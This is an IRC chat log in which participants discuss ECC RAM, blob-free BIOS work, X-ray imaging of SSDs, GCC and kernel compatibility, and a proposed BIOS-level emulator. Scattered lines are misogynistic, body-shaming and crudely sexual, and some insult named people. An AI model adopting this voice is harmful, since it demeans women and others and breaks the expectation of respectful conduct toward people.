1897971;1550534525;asciilifeform;BingoBoingo: iirc no ecc on either 1897972;1550534537;asciilifeform;( i'd pay in gold for small box with ecc, dun exist afaik ) 1897973;1550534557;asciilifeform;it remains a serious wtf to me : think, bolix had ecc. 1897974;1550534563;asciilifeform;in 1984. 1897975;1550534580;BingoBoingo;Ah, apu2 is ECC ram, but newer stinkier AMD "Jaguar" 1897976;1550534592;asciilifeform;we won't be using apu2 at piz 1897977;1550534599;asciilifeform;it is infested 1897978;1550534616;BingoBoingo;bobcat's plenty fast 1897979;1550534620;asciilifeform;( not unless somebody pays to colo one, at any rate ) 1897980;1550534654;asciilifeform;see, asciilifeform has an actual blobless bios for apu1. 1897981;1550534696;BingoBoingo;Ain't nobody doing blobless for "Jaguar" 1897982;1550534720;asciilifeform;BingoBoingo: http://btcbase.org/log/2019-02-18#1897935 << to allow for power and sufficient thermal , 4 per 1u. 1897983;1550534720;a111;Logged on 2019-02-18 23:15 BingoBoingo: 6 or 8 to the 1U chasis? 1897984;1550534737;BingoBoingo;But Bobcat like the apu1 has is sitting on my desk 1897985;1550534753;asciilifeform;( it may be possible to pack'em tighter, but currently imho reliability trumps max utilization of cubic metrage ) 1897986;1550534766;BingoBoingo;Has only gotten faster since I first put it on the desk in 2010 or 2011 1897987;1550534789;feedbot;http://trilema.com/2019/the-rose-tattoo/ << Trilema -- The Rose Tattoo 1897988;1550534791;asciilifeform;BingoBoingo: apu1 will be exactly same as when i 1st laid hands on it in '14 1897989;1550534797;asciilifeform;afaik they haven't changed the chipset. 1897990;1550534809;asciilifeform;that's half the appeal, all of my recipe for it still worx. 1897991;1550534920;asciilifeform;trb-capable box, btw, i have one going . 1897992;1550535084;asciilifeform;http://bvt-trace.net/2019/02/gnat-zero-cost-exceptions-and-asynchronous-task-aborting-part-3/#selection-49.0-58.0 << pretty great. 1897993;1550535096;*;asciilifeform indeed expected that it's 100% gcc5ism 1897994;1550537898;asciilifeform;in entirely other noose, the xray worx... 1897995;1550538484;mircea_popescu;cool deal.\] 1897996;1550538556;asciilifeform;1st photo subj is those dead samsung ssd stix BingoBoingo sent in. 1897997;1550538597;*;asciilifeform will post a scan once he gets a decent exposure, this may not be today, aint a priority item 1897998;1550539130;asciilifeform;will also be interesting at some pt to roast a ~working~ ssd; in theory soft xray eats ssd 1897999;1550539178;asciilifeform;nobody seems to publish the test data on subj tho, aside from 'golden toilet' ic houses 1898000;1550544155;asciilifeform;re ^ -- the steel shell is a bitch, will need tuning for kv. but for demo purposes, the FG analogue board photo ~did~ come out pretty well, will scan it when it dries. 1898001;1550548263;trinque;http://btcbase.org/log/2019-02-14#1896360 << far better than I could've said it, but yes. your "from cause" is foundational for sanity, let alone republic. I gather some have taken "sanity" as a term of art there, not the literal meaning. 1898002;1550548263;a111;Logged on 2019-02-14 07:45 mircea_popescu: trinque let me know how close i got. 1898003;1550548371;trinque;what happens when some uninspected and unconscious part of mod6 wells up from the undermeat and "just wants to" be happy/please wife/stop kid screaming 1898004;1550548652;feedbot;http://www.loper-os.org/?p=3029 << Loper OS -- PCB Radiography Kindergarten. 1898005;1550548672;trinque;http://btcbase.org/log/2019-02-14#1896530 << certainly! does it match your last run? 1898006;1550548672;a111;Logged on 2019-02-14 19:06 diana_coman: http://btcbase.org/log/2019-02-14#1896356 -> this finished: the signature still does not verify; trinque let me know if you want to see the result of this run too 1898007;1550548753;trinque;http://btcbase.org/log/2019-02-17#1897392 << cool, snagged and will dissect. did the bootstrapped system boot for ya? 1898008;1550548753;a111;Logged on 2019-02-17 14:14 bvt: trinque: genesis (does not verify) from successful cuntoo deployment: http://bvt-trace.net/src/genesis-14.02.2019.vpatch 1898009;1550549814;BingoBoingo;In other news, taking my walk tonight I got the celebrity treatment for ~3 minutes. A group of local youth in the city for back to school asked me for directions and were thrilled to discover in Gringo in the wild who could indeed offer directions. 1898010;1550549861;BingoBoingo;I did not join the group as it was composed of 4 dorks and 5 morbidly obese fem-presenting mayos. 1898011;1550550729;trinque;http://btcbase.org/log/2019-02-17#1897638 << glibc has been banned from my own machines for some time. haven't missed it on desktop workstation, server, embedded. 1898012;1550550729;a111;Logged on 2019-02-17 15:50 mircea_popescu: some time to look at things and consider matters will be needed ; but i specifically want to hear something from asciilifeform ave1 bvt diana_coman phf spyked trinque 1898013;1550551164;trinque;http://btcbase.org/log/2019-02-17#1897703 << nope, emacs patches exist, I've run 1898014;1550551164;a111;Logged on 2019-02-17 16:09 asciilifeform: for instance, emacs has yet to be cured, as i understand 1898015;1550551220;asciilifeform;trinque: oh hey 1898016;1550551225;asciilifeform;are these posted ? 1898017;1550551320;BingoBoingo;Also tonight I saw the good bum mentioned http://bingology.net/2018/12/24/preparations-for-the-second-navidad-in-uruguay/#footnote_1_2160 1898018;1550551373;BingoBoingo;It has been a while. Turns out he got a job of sorts at a Confiteria. Sleeps in an actual bed most nights now. 1898019;1550551385;trinque;asciilifeform: iirc last thing I built was in portage proper, built atop musl. this was probably a late and fungal version number 1898020;1550551575;trinque;https://gitweb.gentoo.org/proj/musl.git/log/app-editors/emacs?qt=grep&q=emacs << looks like youngest they had was 24.5, have sinced removed patches from the overlay claiming mainline works 1898021;1550551935;mircea_popescu;trinque wb! 1898022;1550552024;trinque;howdy mircea_popescu 1898023;1550552180;ave1;asciilifeform, re http://btcbase.org/log/2019-02-18#1897899, a genesis of the build scripts or gcc?, with the build scripts we'll get diffs of diffs (which should work now) 1898024;1550552180;a111;Logged on 2019-02-18 17:43 asciilifeform: ave1 are you gonna bake one ? someone's gotta, and i will with own hands if no one has it 1898025;1550552199;mircea_popescu;asciilifeform nice! pic is quite crisp huh. 1898026;1550552240;BingoBoingo;Downright pornographic. All it's missing is the shaved snatch! 1898027;1550552516;BingoBoingo;But A++ Penetration 1898028;1550552687;ave1;diana_coman: re, http://btcbase.org/log/2019-02-18#1897863, will do, It's about 100mb total I see. 1898029;1550552687;a111;Logged on 2019-02-18 08:56 diana_coman: http://btcbase.org/log/2019-02-18#1897858 -> ah, so broken links were only in the older versions? anyway: ave1 please do me a favour and point any fetch/download scripts to a mirror of the stuff on your own website, there is no way around this. For one thing I'd much rather download from a republican site and for the other as experience has already amply shown, any external site WILL move them, change them, drop them and it will at best br 1898030;1550552826;ave1;Btw asciilifeform, I had to switch my cheap NFS account to a more expensive one as php 5.6 is no longer supported in their new setup. I expect that sometime, at the end of this year, 5.6 will also disappear from "production" sites. 1898031;1550553902;BingoBoingo;Also, local mystery in the barrio La Commercial https://www.elobservador.com.uy/nota/una-lluvia-de-disparos-y-el-terror-de-una-familia-de-tener-a-un-profugo-en-su-casa--201921819212 1898032;1550554984;asciilifeform;http://btcbase.org/log/2019-02-19#1898025 << actually pretty grainy ( the barbaric film is to blame ) but in the full res jpg can still see e.g. the au whiskers connecting ic pins to dies etc 1898033;1550554984;a111;Logged on 2019-02-19 04:56 mircea_popescu: asciilifeform nice! pic is quite crisp huh. 1898034;1550555816;asciilifeform;that was btw a 35mm film. instrument can eat 35x35 ~cm~, for ~100x magnification.. ( i just dun have any on hand atm ) 1898035;1550557137;mircea_popescu;ave1 why not just pizarro ? 1898036;1550557475;feedbot;http://bingology.net/2019/02/19/mundane-shit-i-took-for-granted-that-is-new/ << Bingology - BingoBoingo's Blog -- Mundane Shit I Took For Granted That Is New 1898037;1550557560;BingoBoingo;^ Bed time 1898038;1550558993;mircea_popescu;the mister god point is pretty fucking lulzy, not to mention accurate. 1898039;1550559404;BingoBoingo;Ah, ty fixed the double You in that footnote 1898040;1550597494;*;asciilifeform updated testfire piece ( die shot detail ) 1898041;1550597877;asciilifeform;http://www.loper-os.org/pub/misc/xray/dead_samsung_35kv_100s.jpg << to complete yest. thrd : the least rubbishy shot of the dead samsung. steel shell prolly calls for a scintillator screen , and large film, to actually get decent shot. but even here usbistic contacts sorta visible. 1898042;1550598070;asciilifeform;incidentally, asciilifeform was thinking, glitter + epoxy + xray == pretty good '3d' seal. 1898043;1550600031;BingoBoingo;That it could 1898044;1550600094;asciilifeform;the obv problem is that you need 70kg of deathray to verify the seal 1898045;1550600134;asciilifeform;( plus dose the poor silicon erry time ) 1898046;1550600202;asciilifeform;you'd want pb foil over the packages, ideally 1898047;1550600303;BingoBoingo;Well, it isn't unthinkable that 70 kg of deathray ends up being a fairly common castle ammenity 1898048;1550600365;asciilifeform;fuhrerbunker , we know had one ( fella was obsessed with 'what if mailbomb' etc ) 1898049;1550600576;asciilifeform;1 slightly moar practical variant of this seal would be if could make the 'glitter' in the epoxy from kcl or other commonplace mild radioactive. then tape instant film over the chassis and develop/swap erry coupla months, and compare the liquishit to previous photo. 1898050;1550600991;*;asciilifeform considered this yrs ago as a possible onetimepad scheme , but not satisfied that it could be repeatable enuff for digitize 1898051;1550601060;asciilifeform;recall, thrd where 'is it possible to make a bag of rngola that 1) exists in 2 copies 2) cannot be quickly read in transit to destination' 1898052;1550607395;BingoBoingo;Meanwhile, in the "Your average guy" files: http://archive.is/loUn7 1898053;1550607426;asciilifeform;ugh 1898054;1550607447;*;asciilifeform prefers the http://btcbase.org/log/2019-02-12#1895439 site, at least was sorta entertaining 1898055;1550607447;a111;Logged on 2019-02-12 15:39 asciilifeform: mircea_popescu: i associate shitoverflow with articles like 'how do i cast 'fireball' in real life?' ( actual find ) 1898056;1550607539;asciilifeform;^ for bonus lulz, it wasn't the 'iso std d&d fireball' but the http://trilema.com/2014/the-all-american-asshole-in-his-own-words-with-my-own-notes/#selection-1021.79-1025.1 thing, from what i gather was a 'mortal combat' clone of some type 1898057;1550607959;bvt;trinque: booted just fine after messing with kernel config a bit, which is expected from a previously not used machine 1898058;1550611037;mircea_popescu;it's better to document the messing than not to. 1898059;1550619718;shinohai;This trb addy I just generated for a payment: 1HANBox41dKXNhmdXsPgoYbbJgBqp86sCq "hanbox" lol 1898060;1550620659;feedbot;http://qntra.net/2019/02/socialist-mooches-striking-second-year-in-a-row-seeking-to-put-bigger-portion-of-wv-budget-in-their-pockets/ << Qntra -- Socialist Mooches Striking Second Year In A Row Seeking To Put Bigger Portion Of WV Budget In Their Pockets 1898061;1550624369;trinque;bvt: would be great to put the config you produced on your blog with what hardware you use. 1898062;1550624424;trinque;later this can inform a process of muntzing shit off the kernel 1898063;1550624446;trinque;relatedly, here's a worthy task for an idle hand : find the oldest kernel you can boot on hardware you're willing to use 1898064;1550629548;mircea_popescu;^ 1898065;1550629577;mircea_popescu;the "compatibility through software length" thing has gone on long enough. 1898066;1550629778;mircea_popescu;from now on, "compatibility through doing things a ~certain~ way, for good and ~well explained~ reasons". 1898067;1550629802;mircea_popescu;nevermind "open source". honor the same lordship, therefore have well explained things, therefore have compatibility. 1898068;1550632434;nicoleci;in latest http://trilema.com/2013/its-been-an-epic-few-days-what-happened/#selection-453.43-453.86 news, google plus is being shut down " due to low usage and challenges involved in maintaining a successful product". 1898069;1550632462;mircea_popescu;keks 1898070;1550638425;mircea_popescu;"C++ is philosophically and cognitively unsound as it forces a violation of all known epistemological processes on the programmer." 1898071;1550638441;mircea_popescu;this sounds quite persuasively elegant and so on. but then, 1898072;1550638444;mircea_popescu;"as a language, it requires you to specify in great detail what you do not know in order to obtain the experience necessary to learn it." 1898073;1550638461;mircea_popescu;well what the fuck. like on earth turns out to be just as philosophically and cognitively unsound. which it is. 1898074;1550639502;feedbot;http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-july-august-and-september-1716-part-vii/ << Bimbo.Club -- Philosophical Transactions. For the months of July, August and September, 1716. - Part VII. 1898075;1550674927;mircea_popescu;!#seen ben_vulpes 1898076;1550674927;a111;2018-12-10 http://btcbase.org/log/2018-07-16#1835094 << i did not know that statically-compiled mysql was solved; is it? 1898077;1550674969;mircea_popescu;trinque did you ever see the guy irl lately ? say this year or something ? 1898078;1550675118;mircea_popescu;meanwhile in other obscura that apparently exists, https://www.webmasterworld.com/ 1898079;1550675596;asciilifeform;guten morgen mircea_popescu 1898080;1550675850;mircea_popescu;hola 1898081;1550675929;asciilifeform;http://btcbase.org/log/2019-02-20#1898072 << i suspect he was barfing on the 'interfaces' thing. 1898082;1550675929;a111;Logged on 2019-02-20 04:54 mircea_popescu: "as a language, it requires you to specify in great detail what you do not know in order to obtain the experience necessary to learn it." 1898083;1550676077;asciilifeform;http://btcbase.org/log/2019-02-20#1898063 << very good idea; sadly pertinent , however , is the abi breakage ( chronicled e.g. here : https://archive.is/8j7m0 ) 1898084;1550676077;a111;Logged on 2019-02-20 01:00 trinque: relatedly, here's a worthy task for an idle hand : find the oldest kernel you can boot on hardware you're willing to use 1898085;1550676137;asciilifeform;i.e. if digging up a vintage kernel, would also have to take up the gcc from the period, or backport the current one, as i understand 1898086;1550676329;mircea_popescu;at the worst this'll get us a nibler notion of the gcc tree. 1898087;1550676356;mircea_popescu;item is doomed to v-fication, seeing how http://btcbase.org/log/2019-02-17#1897817 1898088;1550676356;a111;Logged on 2019-02-17 23:24 mircea_popescu: actually ada not having a backend can (and probably will) hide all sorta surprises. 1898089;1550676366;mircea_popescu;nimbler* 1898090;1550676390;asciilifeform;vfication is a 'not whether, but when'(tm)(r) 1898091;1550676399;mircea_popescu;something like that 1898092;1550676492;asciilifeform;the most rampant inconsistency, btw, is not even in the userland abi, but in driver (module) end 1898093;1550676502;asciilifeform;linus specifically opposed making a stable one 1898094;1550676525;asciilifeform;( he saw the notion as 'making life too easy' for nvidia & other blob pushers ) 1898095;1550676532;mircea_popescu;in utter fucking lulz : https://duckduckgo.com/?q=%22To+help+you+detect+if+your+log+format+is+good%2C+Awstats%22&t=ffsb&ia=web ; meanwhile in the actual config files, http://p.bvulpes.com/pastes/rXwyg/?raw=true 1898096;1550676540;mircea_popescu;bad virus records!!! 1898097;1550676558;mircea_popescu;the computing 90s are soon to be just a memory, as these artefacts of sheer wtf slowly disappear. 1898098;1550676657;mircea_popescu;asciilifeform yes, but linus is also an idiot. 1898099;1550676835;asciilifeform;see related thrd, http://btcbase.org/log/2015-01-10#972076 , re similar in gcc 1898100;1550676835;a111;Logged on 2015-01-10 06:25 asciilifeform: mats: gcc... a) i dont get it... << what's the hard concept here? rms wishes to avoid gcc turning into a sweet and defenceless piece of candy for the 'embrace & extend/extinguish' folks. 1898101;1550676909;mircea_popescu;they should have built an army in the 90s, rather than go for weakass jwz-catering. 1898102;1550676922;mircea_popescu;their window's closed, nobody cares what they think nao. 1898103;1550676935;asciilifeform;afaik they no longer think anyffin 1898104;1550676945;mircea_popescu;these two tend to go hand in hand yes. 1898105;1550676951;asciilifeform;successfully turned vegetable 1898106;1550676971;asciilifeform;( well, fungus, in rms's case ) 1898107;1550676987;mircea_popescu;mushroom is veggie. 1898108;1550677015;asciilifeform;it is interestingly imho reminiscent of plant toxin , d00d couldn't think of anyffin but 'let's make it poison' in re defense 1898109;1550677026;mircea_popescu;yeah huh. 1898110;1550677094;mircea_popescu;now we're left with all those bleaters with livers, that are also spurious. "but mp, why won't you go into the liver ?" "wut ?" 1898111;1550677121;mircea_popescu;"it worked for free and open plant!!!" "yeah ?" "UNFAIR!" 1898112;1550677122;*;asciilifeform sees linux kernel, gcc, ftr, as 'life support' item, rather like trb -- worth freezing and maintaining until proper replacement, but not really items with a serious future 1898113;1550677288;mircea_popescu;it seems rather obvious that the 2020-2025 republican future will consist of a whole lotta http://btcbase.org/log/2019-02-17#1897560 http://btcbase.org/log/2019-02-17#1897468 etc as we unwind the "optimizing" part in http://btcbase.org/log/2019-02-17#1897829 and discover a whole lotta http://btcbase.org/log/2019-02-17#1897689 and http://btcbase.org/log/2019-02-17#1897536 1898114;1550677288;a111;Logged on 2019-02-17 15:22 mircea_popescu: holy shit, EVERY SINGLE THING. look here : 1898115;1550677288;a111;Logged on 2019-02-17 14:49 mircea_popescu: see, engineers are worse than whores. a whore might pretend like she's not working, but an engineer does inept shit like "/* This should optimize out, but it is wise to make sure this assumption is correct. Should these have different sizes, we cannot cast between them and the overlaying onto ERRATIC will not work. */" so as to ~pretend~ like he doesn't see WHY exactly he wants to take that code out. seriously, ooga-booga-bu 1898116;1550677288;a111;Logged on 2019-02-17 23:42 asciilifeform: ( for n00bz: ) writing a compiler back-end aint actually hard. asciilifeform & many many other folx, did it ~as homework~ , at school. the hard thing is writing a ~decent~ optimizing backend. 1898117;1550677288;a111;Logged on 2019-02-17 16:05 asciilifeform: ( and when found that ~despite this~, http://www.loper-os.org/?p=2906 , was pant-shittingly hilarious, how koch still managed to be the tortoise in the race ) 1898118;1550677288;a111;Logged on 2019-02-17 15:12 mircea_popescu: well, either that or they o(N) + n log n for some values of N, n. 1898119;1550677347;asciilifeform;i fully expect ^ adds up to ~100% of the c opensores mass, yes 1898120;1550677379;mircea_popescu;maybe 98. but in any case, the only discernible reason anyone uses it is that everyone is, individually, too lazy to write a proper one. 1898121;1550677390;mircea_popescu;whether that can be remedied in a group or not remains, i suppose, to be seen. 1898122;1550677450;asciilifeform;it's a standard 'spittoon in one strand' : for so long as you retain ~any of the c liquishit, yer stuck with gcc ( which is the only thing that builds it , the 'portability' of the lang is a fiction from day 1 ) 1898123;1550677457;mircea_popescu;certainly it will have to come before any kind of http://btcbase.org/log/2019-02-17#1897705 job, because very strictly speaking you can't write a working user enviroment on top of extant gcc. 1898124;1550677457;a111;Logged on 2019-02-17 16:10 mircea_popescu: asciilifeform i very much don't expect you want the prb 12 that is emacs. rewrite yes ? :D 1898125;1550677513;mircea_popescu;ie, http://btcbase.org/log/2019-01-22#1889245 is rather the result of "squeezing the most juice broken pliers permit" 1898126;1550677513;a111;Logged on 2019-01-22 18:44 asciilifeform: nao tbf could even make same observation re emacs ( it's never the 1970s c core that bombs, always extension script that hangs ) 1898127;1550677765;asciilifeform;i also suspect that on modern irons, 'retargetable compiler' is plugging the wrong end of the funnel. 1898128;1550677820;asciilifeform;really oughta have ~1~ compiler, and for a sane arch; and if yet cannot afford to actually siliconize the sane arch, then the sad iron oughta be booting straight in bios to a compact (asmistic) emulator of same 1898129;1550677864;asciilifeform;this'd cost, yes, some % of horsepower, but in exchange gets a 100klok toolchain instead of millions of ??? loc 1898130;1550677959;asciilifeform;all the bounds checks, exception handling liquishit, etc. that gnat shits out, oughta be happening in either silicon ( which we aint baking yet ) or failing that, in the 'sane arch emulator' 1898131;1550677977;asciilifeform;rather than bloating erry single binary on the box with identical chunks of sanitycheck 1898132;1550678086;asciilifeform;i hold that the answr to the http://btcbase.org/log/2019-02-20#1898121 quandary depends on whether the right cut of that knot is made. and imho ^ is that cut. 1898133;1550678086;a111;Logged on 2019-02-20 15:43 mircea_popescu: whether that can be remedied in a group or not remains, i suppose, to be seen. 1898134;1550678115;asciilifeform;i.e. http://btcbase.org/log/2018-10-29#1867124 . 1898135;1550678115;a111;Logged on 2018-10-29 16:37 asciilifeform: 'notation is worth +80 iq' or how did it go. 1898136;1550678135;mircea_popescu;i can see it. 1898137;1550678154;mircea_popescu;imo is the perfect approach to "you wish to use insane hw, you pay cost for it". 1898138;1550678165;asciilifeform;absolutely that. 1898139;1550678174;mircea_popescu;that "% of horse power" is entirely not % of horse power ; the measure of horse power is at the torque end, not at horse's feelings end. 1898140;1550678178;asciilifeform;aaha 1898141;1550678188;asciilifeform;it was this very front that asciilifeform published the sage thing for. 1898142;1550678194;mircea_popescu;i don't give a shit some insane nonsense "feels like" it's doing "a lot of work". the work done is measured at the useful end. 1898143;1550678217;mircea_popescu;otherwise what, every useless 30something female with crotch rot under fluorescent lighting, also "is doing a lot of work" because she "feels" so ? 1898144;1550678218;asciilifeform;as in http://www.loper-os.org/?p=165#selection-79.0-85.510 . 1898145;1550678279;asciilifeform;the Right Thing will look roughly like a 256kB chunk of asm that the box boots straight into, and afterwards forgets that it's an x86, arm, etc. 1898146;1550678368;asciilifeform;yer still stuck with certain idjicies of iron (e.g. dma) but then when finally bake new iron, you have a ready compiler & userland to plant on it, that actually behaves. 1898147;1550678494;asciilifeform;i strongly suspect that any other approach to the problem (i.e. 'we'll do exactly what the gnutards did, but they were mice and we are men' ) is certain to degenerate into ~same rubbish as what the gnutards ended up with. 1898148;1550678716;asciilifeform;nao tbf, this approach was not available to the gnu people, on acct of sheer poverty of 1980s, when erry byte & cycle counted, and 'must not waste' , yer entire memory space in 1985 might be 256kB. but today plenty of 'what to waste', why not 'waste' for actual gain ( like bitcoin 'wasted' mains current ) , rather than microshit/gnu-style. 1898149;1550678922;asciilifeform;various folx attempted something roughly like this, but succumbed to own idiocy -- e.g. the java people, who 1) wrapped their 'vm' around the nonsensical shape of their tardlang 2) stopped short of 'and no this doesn't run on your tard os, is IS the os, fuckyou' ; 1898150;1550678949;asciilifeform;or gabriel_laddel, who thought that linux kernel is an acceptable item to build the '256kB' out of, through power of magical thinking 1898151;1550678989;asciilifeform;or the deathbed bolix people, who did ~99% of the job but sank on the titanic of the dec alpha, the only arch they managed to massage into compliance before ran out of dough 1898152;1550679103;*;asciilifeform brb, teatime 1898153;1550679989;mircea_popescu;http://btcbase.org/log/2019-02-20#1898132 << absolutely not. it strictly depends on whether we can continue maintaining the productive atmosphere, in which http://btcbase.org/log/2019-02-05#1892732 http://btcbase.org/log/2018-11-30#1876358 etc continue to be pissed in the face in the most baffling and painful manner where they feel that "they have horsepower" and the measurement comes back "get the fuck lost, moron". 1898154;1550679989;a111;Logged on 2019-02-20 15:54 asciilifeform: i hold that the answr to the http://btcbase.org/log/2019-02-20#1898121 quandary depends on whether the right cut of that knot is made. and imho ^ is that cut. 1898155;1550679989;a111;Logged on 2019-02-05 07:29 mircea_popescu: !!rate verisimilitude -1 children, seen and not heard. 1898156;1550679989;a111;Logged on 2018-11-30 04:53 mircea_popescu: !!rate zx2c4 -1 moron 1898157;1550679993;mircea_popescu;THAT is what it hinges on. 1898158;1550680108;mircea_popescu;it shouldn't be difficult to notice that the "gcc plugging wrong end of funnel" is not simple coincidence, but the necessary result of the feelings and [http://trilema.com/2017/the-practical-costs-of-hallucinated-freedom/][optionalities] these idiots perceive themselves to be having without actually having them. 1898159;1550680150;mircea_popescu;as long as the tim swansons of the world remain an oppressed minority, the world can be sane ; and not futher. 1898160;1550680551;mircea_popescu;http://btcbase.org/log/2019-02-20#1898149 << why. cuz republic without republic, how the fuck is it supposed to stand. 1898161;1550680551;a111;Logged on 2019-02-20 16:08 asciilifeform: various folx attempted something roughly like this, but succumbed to own idiocy -- e.g. the java people, who 1) wrapped their 'vm' around the nonsensical shape of their tardlang 2) stopped short of 'and no this doesn't run on your tard os, is IS the os, fuckyou' ; 1898162;1550680567;mircea_popescu;they failed to identify the victims, and failed to victimize them. 1898163;1550680637;mircea_popescu;actually when Mocky_ is done with qatar history, maybe he regales us with a summarized java history ~from inside~ on his blog. 1898164;1550680656;*;mircea_popescu studiously and quite deliberately ignored the whole thing as a wikitarida/reddit of its time. 1898165;1550683947;asciilifeform;mircea_popescu: i also ignored. but imho it's an interesting entomological case. 1898166;1550683974;mircea_popescu;could be, yea 1898167;1550684004;asciilifeform;http://btcbase.org/log/2019-02-20#1898157 << i dun even disagree that nuffin's worth doing if you don't kill the locusts first. but also imho gotta other things , the result of 'pesticide uber alles' agriculture is monsantostan. 1898168;1550684004;a111;Logged on 2019-02-20 16:26 mircea_popescu: THAT is what it hinges on. 1898169;1550684025;asciilifeform;also matters to actually plow the field, and even matters with what (iron beats wooden stick) and so forth. 1898170;1550684069;mircea_popescu;sure. 1898171;1550684095;asciilifeform;http://btcbase.org/log/2019-02-20#1898163 << could be quite interesting read. didjaknow, for instance, that the javatards got showered with enuff printolade that they baked chips ? and that none of these were in any sense commercial success ? 1898172;1550684095;a111;Logged on 2019-02-20 16:37 mircea_popescu: actually when Mocky_ is done with qatar history, maybe he regales us with a summarized java history ~from inside~ on his blog. 1898173;1550684097;mircea_popescu;i'm not proposing a reign of terror, merely intolerance. 1898174;1550684107;mircea_popescu;yes. 1898175;1550684219;asciilifeform;funnily enuff asciilifeform was just recently describing to pet , how mircea_popescu's pesticide worx, and finally clicked when i 'recall cell culture ? when yer growing eukaryotes, you add antibiotic, or guess what dish will be full of next day' 1898176;1550684270;mircea_popescu;heh 1898177;1550684989;asciilifeform;the benighted folx who 'wai is mircea_popescu so eager to hit us with spiked club', i can tell they never cell cultured. 1898178;1550685104;*;asciilifeform maintains a kind of purgatory for these , in #a, and it is quite cheap on acct of the fact that usually only takes'em a coupla hrs to realize that no, this aint the fungal farm, fungal farm is three doors down, and then go to where their place is. 1898179;1550685139;BingoBoingo; it is interestingly imho reminiscent of plant toxin , d00d couldn't think of anyffin but 'let's make it poison' in re defense << Datura 1898180;1550685157;asciilifeform;BingoBoingo: virtually errything that grows on satan's green earth 1898181;1550685199;asciilifeform;fulla poison. animal kingdom dun sit still tho, which is why we think of e.g. belladonna as poisonous but not cabbage 1898182;1550685230;asciilifeform;( cabbage -- much moar toxin by mass, but we have the enzymes ) 1898183;1550685522;asciilifeform;re the penicillin -- also compactly summarized in http://trilema.com/2014/the-all-american-asshole-in-his-own-words-with-my-own-notes/#selection-3501.0-3501.226 1898184;1550685589;asciilifeform;i suspect also that erry sargeant in erry unit on planet, also could summarize compactly. 1898185;1550687178;mircea_popescu;mataperros actually grows wild here. 1898186;1550687192;mircea_popescu;apparently the dogs can learn to give it a berth. great perfume too 1898187;1550687459;BingoBoingo;Se extraño a toxicodendron 1898188;1550687516;BingoBoingo;Gotta get some here before considering ground level properties 1898189;1550687806;feedbot;http://qntra.net/2019/02/ohio-teen-sues-washington-post-for-250-million-usd-in-damages-over-harassment-campaign-spearheaded-by-organization/ << Qntra -- Ohio Teen Sues Washington Post For 250 Million USD In Damages Over Harassment Campaign Spearheaded By Organization 1898190;1550688489;mircea_popescu;watch them lose, get gutted, etc. anyone recall ALL THE OTHER pantsuit vehicles, meanwhile gutted in exact same manner ? 1898191;1550688535;mircea_popescu;for that matter -- lulz of all time here, oscar arias, very much http://trilema.com/2019/wild-is-the-wind/#footnote_1_82681 item, now #metoo'd. 1898192;1550688555;mircea_popescu;apparently if you sign up to star in one usg.blue production, you're stuck doing all the sequels also. 1898193;1550688564;mircea_popescu;dood thought he can get just the nobel prize. 1898194;1550688694;BingoBoingo;You mean this case? http://qntra.net/2016/03/hulk-hogan-wins-revenge-porn-suit-against-gawker-media/ 1898195;1550688716;asciilifeform;mircea_popescu: thiel killing gawker, sure ; rando kid vs volkischer beobachter ? will be odd if it dun get 'appealed' for 25 yrs, until $kid dies of hunger 1898196;1550688769;BingoBoingo;Recently (within the past two months) WaPo's slate magazine hired one of the more flamboyant Gawker alumni to do a "sex column" with some burnt out porn chick turned old woman 1898197;1550688797;mircea_popescu;see, the old british ban on champerty & maintenance meanwhile dead. the fact that it happened to rando kid dun matter, trial can be bought. 1898198;1550688807;BingoBoingo;asciilifeform: If anything the tort in this case is clearer 1898199;1550688828;asciilifeform;mircea_popescu: wouldn't this require a thiel to show up to bankroll $kid's suit ? 1898200;1550688829;mircea_popescu;the problem with common law is that it dun work. 1898201;1550688839;mircea_popescu;asciilifeform plenty of them. it's profitable, see. 1898202;1550688858;asciilifeform;aa hah 1898203;1550688867;asciilifeform;i suppose if suit already brought, likely there's already a thiel. 1898204;1550689648;asciilifeform;at some pt before upstack thrd gets lost in the sands of time -- would like to see mircea_popescu's ex cathedra pov re http://btcbase.org/log/2019-02-20#1898145 , when he has the time 1898205;1550689648;a111;Logged on 2019-02-20 15:57 asciilifeform: the Right Thing will look roughly like a 256kB chunk of asm that the box boots straight into, and afterwards forgets that it's an x86, arm, etc. 1898206;1550689710;asciilifeform;( specifically -- is Right Thing ? and if yes, then how much sweat is worth to put into keeping ye olde gcc alive, and how much sweat instead for same ? and what oughta be in it ? ) 1898207;1550689722;mircea_popescu;asciilifeform precisely. 1898208;1550689765;mircea_popescu;asciilifeform re bios emu -- i am certainly not against trying this. it's not possible to say much more than that as things stand now. 1898209;1550689838;*;asciilifeform put ~decade into various attempts at $subj, but ~0 forward motion until made the sage breakthrough and gained ability to debug bios. but has been on back burner in preference to moar urgent tmsrisms ever since 1898210;1550689913;mircea_popescu;understand tho, it has a very visible facet of wishful thinking. i mean yes, obviously, way the fuck better to have all the needful stuff in one place than added to each binary. this much is certain. nevertheless, the notion that you can stuff a converter from insanity to sanity "in the bios" requires just as much a magical stone as any other "universal sanity-insanity bridge". 1898211;1550689927;asciilifeform;there is no magical stone. 1898212;1550689950;asciilifeform;it's a quite serious set of open problems, many documented by asciilifeform in the log (e.g. how to drive nic?) 1898213;1550689957;mircea_popescu;nevertheless, the attempt will certainly inform. 1898214;1550689967;asciilifeform;i suspect that it's a ~smaller~ problem than 'bake 17 sane gcc-like back-ends' 1898215;1550689971;mircea_popescu;like all attempts to date have, here or anywhere else. 1898216;1550689977;mircea_popescu;well that for sure. 1898217;1550690054;mircea_popescu;the obvious counter there will be "but not cheaper than baking ONE sane gcc". which is true, but nevertheless not as useful -- sometimes having an interface, even if "spurious" is better than not having it, which is why parents don't customarily discuss family finances with their 12yos. 1898218;1550690059;asciilifeform;( see e.g. http://btcbase.org/log/2019-02-17#1897833 ) 1898219;1550690059;a111;Logged on 2019-02-17 23:49 asciilifeform: re bolix back end, i suspect it aint very useful as starting point, because was far ~too easy~ item , in that the iron per se was sane (i.e. performed bounds and type checks, so much of what gcc is stuck doing in soft, was unnecessary ) 1898220;1550690077;asciilifeform;i suspect cheaper than 1 sane gcc likewise. 1898221;1550690080;mircea_popescu;other than this, the "we don't want to fuck our brains with $bad-arch" is a dead end -- you will, whether to write gcc for it or to write bios for it. 1898222;1550690110;asciilifeform;rright but you want to put the sweat into item that gets leveraged, rather than duplicated 9000 times, is the notion. 1898223;1550690113;mircea_popescu;asciilifeform it's never cheaper to have a coupling than a straight link. nevertheless, couplings are used. 1898224;1550690169;mircea_popescu;asciilifeform large part of people's complaints re leverage are insane. take the recent naggum piece discussed, he 